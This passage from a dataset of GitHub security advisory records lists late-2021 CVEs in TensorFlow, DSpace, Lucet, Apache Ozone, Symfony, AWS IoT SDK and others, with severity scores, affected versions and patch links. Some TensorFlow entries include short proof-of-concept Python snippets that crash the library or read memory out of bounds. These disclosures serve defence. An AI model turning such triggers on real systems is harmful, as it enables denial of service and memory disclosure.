[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-3776'}, {'type': 'WEB', 'url': 'https://github.com/star7th/showdoc/commit/67093c879a6563aa6ee08003177777d1975e2351'}, {'type': 'PACKAGE', 'url': 'https://github.com/star7th/showdoc'}, {'type': 'WEB', 'url': 'https://huntr.dev/bounties/e0edf27d-437e-44fe-907a-df020f385304'}]
|
{'cwe_ids': ['CWE-352'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-15T19:41:42Z', 'nvd_published_at': '2021-11-13T10:15:00Z'}
|
1.4.0
|
GHSA-gh8h-7j2j-qv4f
|
2021-11-08T22:50:32Z
|
2021-11-10T19:31:16Z
| null |
['CVE-2021-41200']
|
Incomplete validation in `tf.summary.create_file_writer`
|
### Impact
If `tf.summary.create_file_writer` is called with non-scalar arguments code crashes due to a `CHECK`-fail.
```python
import tensorflow as tf
import numpy as np
tf.summary.create_file_writer(logdir='', flush_millis=np.ones((1,2)))
```
### Patches
We have patched the issue in GitHub commit [874bda09e6702cd50bac90b453b50bcc65b2769e](https://github.com/tensorflow/tensorflow/commit/874bda09e6702cd50bac90b453b50bcc65b2769e) (merging [#51715](https://github.com/tensorflow/tensorflow/pull/51715)).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46909).
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-gh8h-7j2j-qv4f'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41200'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/issues/46909'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/874bda09e6702cd50bac90b453b50bcc65b2769e'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-617'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T22:50:32Z', 'nvd_published_at': '2021-11-05T20:15:00Z'}
|
1.4.0
|
GHSA-cf2j-vf36-c6w8
|
2021-10-29T17:26:35Z
|
2021-11-01T19:18:16Z
| null |
['CVE-2021-41189']
|
Communities and collections administrators can escalate their privilege up to system administrator
|
### Impact
Any community or collection administrator can escalate their permission up to become system administrator.
This vulnerability only existed in 7.0 and does not impact 6.x or below.
### Patches
Fix is included in [7.1](https://github.com/DSpace/DSpace/releases/tag/dspace-7.1). Please upgrade to 7.1 at your earliest convenience.
### Workarounds
In 7.0, temporarily disable the ability for community or collection administrators to manage permissions or workflows settings, i.e. set the following properties in your local.cfg / dspace.cfg file
```
core.authorization.collection-admin.policies = false
core.authorization.community-admin.policies = false
core.authorization.community-admin.collection.workflows = false
```
Once upgraded to 7.1, these settings can be safely reverted to the default values of `true`.
### References
Discovered during investigation of https://github.com/DSpace/DSpace/issues/7928
### For more information
If you have any questions or comments about this advisory:
* Email us at security@dspace.org
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.dspace:dspace-api'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '7.0'}, {'fixed': '7.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/DSpace/DSpace/security/advisories/GHSA-cf2j-vf36-c6w8'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41189'}, {'type': 'WEB', 'url': 'https://github.com/DSpace/DSpace/issues/7928'}, {'type': 'WEB', 'url': 'https://github.com/DSpace/DSpace/commit/277b499a5cd3a4f5eb2370513a1b7e4ec2a6e041'}, {'type': 'WEB', 'url': 'https://github.com/DSpace/DSpace/commit/c3bea16ab911606e15ae96c97a1575e1ffb14f8a'}, {'type': 'PACKAGE', 'url': 'https://github.com/DSpace/DSpace'}]
|
{'cwe_ids': ['CWE-863'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-10-29T17:26:35Z', 'nvd_published_at': '2021-10-29T18:15:00Z'}
|
1.4.0
|
GHSA-hf79-8hjp-rrvq
|
2021-11-30T22:05:58Z
|
2021-11-30T22:20:36Z
| null |
['CVE-2021-43790']
|
Use After Free in lucet
|
### Impact
There is a bug in the main branch of Lucet's `lucet-runtime` that allows a use-after-free in an `Instance` object that could result in memory corruption, data race, or other related issues. This bug was introduced early in the development of Lucet and is present in all releases. As a result of this bug, and dependent on the memory backing for the `Instance` objects, it is possible to trigger a use-after-free when the `Instance` is dropped.
### Patches
Users should upgrade to the `main` branch of the Lucet repository. Lucet does not provide versioned releases on crates.io.
### Workarounds
There is no way to remediate this vulnerability without upgrading.
### Description
Lucet uses a "pool" allocator for new WebAssembly instances that are created. This pool allocator manages everything from the linear memory of the wasm instance, the runtime stack for async switching, as well as the memory behind the Instance itself. `Instances` are referred to via an `InstanceHandle` type which will, on drop, release the memory backing the Instance back to the pool.
When an Instance is dropped, the fields of the `Instance` are destructed top-to-bottom, however when the `alloc: Alloc` field is destructed, the memory backing the `Instance` is released back to the pool before the destructors of the remaining fields are run. If another thread allocates the same memory from the pool while these destructors are still running, a race condition occurs that can lead to use-after-free errors.
The bug was corrected by changing how the `InstanceHandle` destructor operates to ensure that the memory backing an Instance is only returned to the pool once the `Instance` has been completely destroyed.
This security advisory has been assigned CVE-2021-43790.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [lucet repository](https://github.com/bytecodealliance/lucet)
* Email [the lucet team](mailto:lucet@fastly.com)
* See the [Bytecode Alliance security policy](https://bytecodealliance.org/security)
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'crates.io', 'name': 'lucet-runtime'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '0.6.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/bytecodealliance/lucet/security/advisories/GHSA-hf79-8hjp-rrvq'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-43790'}, {'type': 'WEB', 'url': 'https://github.com/bytecodealliance/lucet/commit/7c7757c772fb709c61b1442bcc1e1fbee97bf4a8'}, {'type': 'WEB', 'url': 'https://crates.io/crates/lucet-runtime'}, {'type': 'PACKAGE', 'url': 'https://github.com/bytecodealliance/lucet'}]
|
{'cwe_ids': ['CWE-416'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-30T20:56:59Z', 'nvd_published_at': '2021-11-30T00:15:00Z'}
|
1.4.0
|
GHSA-j8c8-67vp-6mx7
|
2021-11-08T21:47:47Z
|
2021-11-10T18:34:49Z
| null |
['CVE-2021-41227']
|
Arbitrary memory read in `ImmutableConst`
|
### Impact
The `ImmutableConst` operation in TensorFlow can be tricked into reading arbitrary memory contents:
```python
import tensorflow as tf
with open('/tmp/test','wb') as f:
f.write(b'\xe2'*128)
data = tf.raw_ops.ImmutableConst(dtype=tf.string,shape=3,memory_region_name='/tmp/test')
print(data)
```
This is because the `tstring` TensorFlow string class has a special case for memory mapped strings but the operation itself does not offer any support for this datatype.
### Patches
We have patched the issue in GitHub commit [3712a2d3455e6ccb924daa5724a3652a86f6b585](https://github.com/tensorflow/tensorflow/commit/3712a2d3455e6ccb924daa5724a3652a86f6b585) and GitHub commit [1cb6bb6c2a6019417c9adaf9e6843ba75ee2580b](https://github.com/tensorflow/tensorflow/commit/1cb6bb6c2a6019417c9adaf9e6843ba75ee2580b).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-j8c8-67vp-6mx7'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41227'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/1cb6bb6c2a6019417c9adaf9e6843ba75ee2580b'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/3712a2d3455e6ccb924daa5724a3652a86f6b585'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-125'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T21:47:47Z', 'nvd_published_at': '2021-11-05T23:15:00Z'}
|
1.4.0
|
GHSA-4g7x-7vgq-3j28
|
2022-05-04T03:46:28Z
|
2021-11-02T15:42:16Z
| null |
['CVE-2020-36376']
|
Vulnerability in list function leads to arbitrary code execution via filePath parameters
|
aaptjs is a node wraper for aapt. An issue was discovered in the list function in shenzhim aaptjs 1.3.1, allows attackers to execute arbitrary code via the filePath parameters.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'npm', 'name': 'aaptjs'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '1.3.1'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2020-36376'}, {'type': 'WEB', 'url': 'https://github.com/shenzhim/aaptjs/issues/2'}, {'type': 'PACKAGE', 'url': 'https://github.com/shenzhim/aaptjs'}]
|
{'cwe_ids': ['CWE-77', 'CWE-78'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-01T19:16:41Z', 'nvd_published_at': '2021-10-31T20:15:00Z'}
|
1.4.0
|
GHSA-rg3m-hqc5-344v
|
2021-11-08T21:55:57Z
|
2021-11-10T18:45:55Z
| null |
['CVE-2021-41224']
|
`SparseFillEmptyRows` heap OOB
|
### Impact
The [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/sparse_fill_empty_rows_op.cc#L194-L241) of `SparseFillEmptyRows` can be made to trigger a heap OOB access:
```python
import tensorflow as tf
data=tf.raw_ops.SparseFillEmptyRows(
indices=[[0,0],[0,0],[0,0]],
values=['sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss'],
dense_shape=[5,3],
default_value='o')
```
This occurs whenever the size of `indices` does not match the size of `values`.
### Patches
We have patched the issue in GitHub commit [67bfd9feeecfb3c61d80f0e46d89c170fbee682b](https://github.com/tensorflow/tensorflow/commit/67bfd9feeecfb3c61d80f0e46d89c170fbee682b).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rg3m-hqc5-344v'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41224'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/67bfd9feeecfb3c61d80f0e46d89c170fbee682b'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-125'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T21:55:57Z', 'nvd_published_at': '2021-11-05T21:15:00Z'}
|
1.4.0
|
GHSA-gc37-9g7f-96fx
|
2022-08-11T18:41:20Z
|
2021-11-23T18:17:50Z
| null |
['CVE-2021-41532']
|
Apache Ozone exposes OM, SCM and Datanode metadata
|
In Apache Ozone before 1.2.0, Recon HTTP endpoints provide access to OM, SCM and Datanode metadata. Due to a bug, any unauthenticated user can access the data from these endpoints.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.apache.ozone:ozone-main'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.2.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41532'}, {'type': 'WEB', 'url': 'https://mail-archives.apache.org/mod_mbox/ozone-dev/202111.mbox/%3Ce0bc6598-9669-b897-fc28-de8a896e36aa%40apache.org%3E'}, {'type': 'WEB', 'url': 'http://www.openwall.com/lists/oss-security/2021/11/19/8'}]
|
{'cwe_ids': ['CWE-668'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-22T18:38:16Z', 'nvd_published_at': '2021-11-19T10:15:00Z'}
|
1.4.0
|
GHSA-hfm8-2q22-h7hv
|
2021-11-17T21:24:36Z
|
2021-11-15T17:39:18Z
| null |
['CVE-2021-43561']
|
Cross-site Scripting in pegasus/google-for-jobs
|
An XSS issue was discovered in the google_for_jobs (aka Google for Jobs) extension before 1.5.1 and 2.x before 2.1.1 for TYPO3. The extension fails to properly encode user input for output in HTML context. A TYPO3 backend user account is required to exploit the vulnerability.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'pegasus/google-for-jobs'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.5.1'}]}]}, {'package': {'ecosystem': 'Packagist', 'name': 'pegasus/google-for-jobs'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.0.0'}, {'fixed': '2.1.1'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-43561'}, {'type': 'PACKAGE', 'url': 'https://github.com/pegasuswerbeagentur/google_for_jobs'}, {'type': 'WEB', 'url': 'https://typo3.org/security/advisory/typo3-ext-sa-2021-015'}]
|
{'cwe_ids': ['CWE-79'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-12T19:44:37Z', 'nvd_published_at': '2021-11-10T15:15:00Z'}
|
1.4.0
|
GHSA-2xhg-w2g5-w95x
|
2021-12-06T21:36:47Z
|
2021-11-24T21:01:23Z
| null |
['CVE-2021-41270']
|
CSV Injection in symfony/serializer
|
Description
-----------
CSV Injection, also known as Formula Injection, occurs when websites embed untrusted input inside CSV files. When a spreadsheet program opens a CSV, any cell starting with `=` is interpreted by the software as a formula and could be abused by an attacker.
In Symfony 4.1, we've added the opt-in `csv_escape_formulas` option in `CsvEncoder`, to prefix all cells starting by `=`, `+`, `-` or `@` by a tab `\t`.
Since then, OWASP added 2 chars in that list:
- Tab (0x09)
- Carriage return (0x0D)
This makes our previous prefix char (Tab `\t`) part of the vulnerable characters, and [OWASP suggests](https://owasp.org/www-community/attacks/CSV_Injection) using the single quote `'` for prefixing the value.
Resolution
----------
Symfony now follows the OWASP recommendations and use the single quote `'` to prefix formulas and adds the prefix to cells starting by `\t`, `\r` as well as `=`, `+`, `-` and `@`.
The patch for this issue is available [here](https://github.com/symfony/symfony/commit/3da6f2d45e7536ccb2a26f52fbaf340917e208a8) for branch 4.4.
Credits
-------
We would like to thank Jake Barwell for reporting the issue and Jérémy Derussé for fixing the issue.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'symfony/serializer'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '5.0.0'}, {'fixed': '5.3.12'}]}]}, {'package': {'ecosystem': 'Packagist', 'name': 'symfony/serializer'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '4.1.0'}, {'fixed': '4.4.35'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/symfony/symfony/security/advisories/GHSA-2xhg-w2g5-w95x'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41270'}, {'type': 'WEB', 'url': 'https://github.com/symfony/symfony/pull/44243'}, {'type': 'WEB', 'url': 'https://github.com/symfony/symfony/commit/3da6f2d45e7536ccb2a26f52fbaf340917e208a8'}, {'type': 'PACKAGE', 'url': 'https://github.com/symfony/symfony'}, {'type': 'WEB', 'url': 'https://github.com/symfony/symfony/releases/tag/v5.3.12'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3BPT4SF6SIXFMZARDWED5T32J7JEH3EP/'}, {'type': 'WEB', 'url': 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QSREFD2TJT5LWKM6S4MD3W26NQQ5WJUP/'}]
|
{'cwe_ids': ['CWE-1236'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-24T20:04:02Z', 'nvd_published_at': '2021-11-24T19:15:00Z'}
|
1.4.0
|
GHSA-743r-5g92-5vgf
|
2021-12-03T15:20:59Z
|
2021-11-24T21:11:16Z
| null |
['CVE-2021-40829']
|
Improper certificate management in AWS IoT Device SDK v2
|
Connections initialized by the AWS IoT Device SDK v2 for Java (versions prior to 1.4.2), Python (versions prior to 1.6.1), C++ (versions prior to 1.12.7) and Node.js (versions prior to 1.5.3) did not verify server certificate hostname during TLS handshake when overriding Certificate Authorities (CA) in their trust stores on MacOS. This issue has been addressed in aws-c-io submodule versions 0.10.5 onward. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.4.2 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.6.1 on macOS. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on macOS. Amazon Web Services AWS-C-IO 0.10.4 on macOS.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'software.amazon.awssdk.iotdevicesdk:aws-iot-device-sdk'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.4.2'}]}]}, {'package': {'ecosystem': 'npm', 'name': 'aws-iot-device-sdk-v2'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.5.3'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'awsiotsdk'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.6.1'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-40829'}, {'type': 'WEB', 'url': 'https://github.com/aws/aws-iot-device-sdk-cpp-v2'}, {'type': 'WEB', 'url': 'https://github.com/aws/aws-iot-device-sdk-java-v2'}, {'type': 'WEB', 'url': 'https://github.com/aws/aws-iot-device-sdk-java-v2/commits/v1.4.2'}, {'type': 'WEB', 'url': 'https://github.com/aws/aws-iot-device-sdk-js-v2'}, {'type': 'WEB', 'url': 'https://github.com/aws/aws-iot-device-sdk-python-v2'}, {'type': 'WEB', 'url': 'https://github.com/awslabs/aws-c-io/'}]
|
{'cwe_ids': ['CWE-295'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-24T20:31:36Z', 'nvd_published_at': '2021-11-23T00:15:00Z'}
|
1.4.0
|
GHSA-q9q6-f556-gpm7
|
2021-11-15T14:44:13Z
|
2021-11-10T20:58:42Z
| null |
['CVE-2021-43571']
|
Improper Verification of Cryptographic Signature in starkbank-ecdsa
|
The verify function in the Stark Bank Node.js ECDSA library (ecdsa-node) 1.1.2 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'npm', 'name': 'starkbank-ecdsa'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.1.3'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-43571'}, {'type': 'PACKAGE', 'url': 'https://github.com/starkbank/ecdsa-node'}, {'type': 'WEB', 'url': 'https://github.com/starkbank/ecdsa-node/releases/tag/v1.1.3'}, {'type': 'WEB', 'url': 'https://research.nccgroup.com/2021/11/08/technical-advisory-arbitrary-signature-forgery-in-stark-bank-ecdsa-libraries/'}]
|
{'cwe_ids': ['CWE-347'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-10T18:27:14Z', 'nvd_published_at': '2021-11-09T22:15:00Z'}
|
1.4.0
|
GHSA-86fh-j58m-7pf5
|
2021-11-22T19:04:02Z
|
2021-11-23T17:57:14Z
| null |
['CVE-2021-36372']
|
Improper Privilege Management in Apache Ozone
|
In Apache Ozone versions prior to 1.2.0, Initially generated block tokens are persisted to the metadata database and can be retrieved with authenticated users with permission to the key. Authenticated users may use them even after access is revoked.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.apache.ozone:ozone-main'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.2.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-36372'}, {'type': 'WEB', 'url': 'https://mail-archives.apache.org/mod_mbox/ozone-dev/202111.mbox/%3C5029c1ac-4685-8492-e3cb-ab48c5c370cf%40apache.org%3E'}, {'type': 'WEB', 'url': 'http://www.openwall.com/lists/oss-security/2021/11/19/1'}]
|
{'cwe_ids': ['CWE-273'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-22T19:04:02Z', 'nvd_published_at': '2021-11-19T10:15:00Z'}
|
1.4.0
|
GHSA-33xh-xch9-p6hj
|
2021-11-22T18:36:47Z
|
2021-11-23T18:17:59Z
| null |
['CVE-2021-39233']
|
Incorrect Authorization in Apache Ozone
|
In Apache Ozone versions prior to 1.2.0, Container related Datanode requests of Ozone Datanode were not properly authorized and can be called by any client.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.apache.ozone:ozone-main'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.2.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-39233'}, {'type': 'WEB', 'url': 'https://mail-archives.apache.org/mod_mbox/ozone-dev/202111.mbox/%3C394a9a73-44dd-b5db-84d8-607c3226eb00%40apache.org%3E'}, {'type': 'WEB', 'url': 'http://www.openwall.com/lists/oss-security/2021/11/19/4'}]
|
